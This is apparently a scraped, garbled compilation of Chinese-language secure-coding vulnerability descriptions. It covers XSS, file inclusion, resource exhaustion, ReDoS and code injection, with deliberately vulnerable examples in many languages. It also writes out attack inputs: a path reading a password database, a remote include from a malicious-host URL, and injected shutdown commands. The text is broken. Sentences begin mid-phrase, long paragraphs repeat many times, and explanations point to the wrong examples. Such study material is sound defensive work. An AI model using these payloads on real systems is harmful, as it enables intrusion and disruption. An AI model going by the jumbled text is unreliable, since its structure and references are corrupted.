所述，應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料，且之後這些危險資料會被當作信賴的資料回讀到應用程式，並會包含在動態內容中。myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從自訂 URL 架構讀取資料，並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並將 ID 顯示給使用者。
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並向使用者顯示。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並顯示給使用者。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並顯示給使用者。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 中的的 Rack::Request#params()，會同時看到 GET 和 POST 參數，所以可能容易受到各種類型的攻擊，而不是只會使惡意程式碼附加到 URL 而已。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並向使用者顯示。
def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 中的文字只包含標準英數字元，這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼，那麼網路瀏覽器就會像顯示 HTTP 回應那樣，可能會將輸入當成程式碼來執行。myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
Example 2 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從使用者可控制的 UI 元件讀取資料，並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求，之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式，並會包含在動態內容中。Example 3 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，並向使用者顯示。
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Origin 表頭，將會允許任何惡意網站模擬使用者，並在使用者甚至無法注意到的情況下，建立雙向 WebSocket 連線。Origin 表頭，將會允許任何惡意網站模擬使用者，並在使用者甚至無法注意到的情況下，建立雙向 WebSocket 連線。
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1 中，攻擊者可能透過提供 includedURL 的惡意值來完全控制動態包含陳述式，這會導致程式包含來自外部站台的檔案。web.config，檔案可能會成為 HTML 輸出的一部分。更糟糕的是，如果攻擊者可能指定由攻擊者控制的遠端站台的路徑，則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB 檔案的內容，從而危害系統的安全性。c:import 標籤，將使用者指定的遠端檔案匯入目前的 JSP 頁面中。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals 選項，這會讓攻擊者輕易地覆寫內部伺服器的變數。雖然停用 register_globals 可減少程式因為 File Inclusion 弱點受到攻擊的可能，但是這些問題仍存在現在的 PHP 應用程式中。 $server_root 的應用程式中。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals 設定為 on，則攻擊者可能透過提供 $server_root 作為要求參數來覆寫 $server_root 值，從而部分控制動態包含陳述式。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2 中，攻擊者可能透過提供 headername 的惡意值來完全控制動態包含陳述式，這會導致程式包含來自外部站台的檔案。/etc/shadow，檔案可能會成為 HTML 輸出的一部分。更糟糕的是，如果攻擊者可能指定由攻擊者控制的遠端站台的路徑，則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter() 方法使用遠端 IP 位址 (RemoteIpAddress) 作為建立 RateLimitPartition 時的分割區索引鍵：
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future 函數的執行時間。若指定較大的數字，攻擊者可能會無限期地佔用 Future 函數。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
範例 2：以下程式碼會從 zip 檔案讀取字串。因為它使用
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine() 方法，它會讀取大量的輸入。攻擊者可能利用此程式碼產生 OutOfMemoryException 或消耗大量記憶體，讓程式花費更多時間來執行記憶體回收或者在一些後續作業中耗盡記憶體。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
範例 2：以下程式碼會寫入檔案。以下程式碼會寫入檔案。由於檔案可能會不斷地寫入和重新寫入，直到使用者代理程式將其關閉為止，因此可能需要分析檔案內容的磁碟配額、IO 頻寬以及處理序會受到影響。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect 函數指定連線逾時的持續時間。若指定較大的數字，攻擊者可無限期地佔用 connect 函數。
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
範例 2：以下程式碼會從檔案中讀取字串。因為它使用
Kernel.sleep(user_input)
readline() 方法，且無需指定限制，所以它會讀取大量的輸入。攻擊者可能利用此程式碼使程序暫停，同時耗用越來越多的記憶體，直到可能完全耗盡記憶體。
fd = File.new(myFile)
line = fd.readline
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1 而言，如果攻擊者提供了組合字串「eeeeZ」，則 regex 必須通過 16 種內部評估以識別該組合。如果攻擊者提供的組合字串有 16 個「e」(「eeeeeeeeeeeeeeeeZ」)，那麼 regex 解析器就必須進行 65536 (2^16) 組評估。攻擊者可能輕易地藉由提高連續符合字元數來耗用計算資源。目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。routes.Ignore 方法整合萬用字元路由模式而產生的。此方法允許透過外部輸入來定義路由行為。具體來說，使用萬用字元 (例如 {*allaspx}) 為攻擊者提供了操縱路由動作的立足點。當控制這些萬用字元模式的輸入沒有經過徹底驗證或清理時，就會出現核心問題。
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation 參數是理想值時，程式會正常運作。不過，如果攻擊者指定同時為有效且惡意的語言作業，則會使用父系程序的完整權限來執行那些作業。此類攻擊在插入的程式碼存取系統資源或執行系統指令時更危險。例如，如果攻擊者指定「MOVE 'shutdown -h now' to cmd.CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[].」做為 operation 的值，則會在主機系統上執行系統關機指令。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation 參數是良性的值時，例如「8 + 7 * 2」，程式會正常運作。在此案例中，會指定 result 變數的值為 22。不過，如果攻擊者指定同時為有效且惡意的語言作業，則會使用父系程序的完整權限來執行這些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。在 ActionScript 案例中，攻擊者可能使用此弱點執行 Cross-site scripting 攻擊。
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode 參數是良性值 (例如「return 8 + 7 * 2」) 時，程式會正常運作，在此案例中，函數 CEval 的傳回值為 22。不過，如果攻擊者指定同時為有效且惡意的語言作業，則會使用父系程序的完整權限來執行那些作業。當主要語言提供系統資源的存取權限或允許執行系統指令時，這類攻擊會更加危險。例如，.Net 允許叫用 Windows API，如果攻擊者指定「return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");」做為 operation 的值，則會在主機系統上執行關機指令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
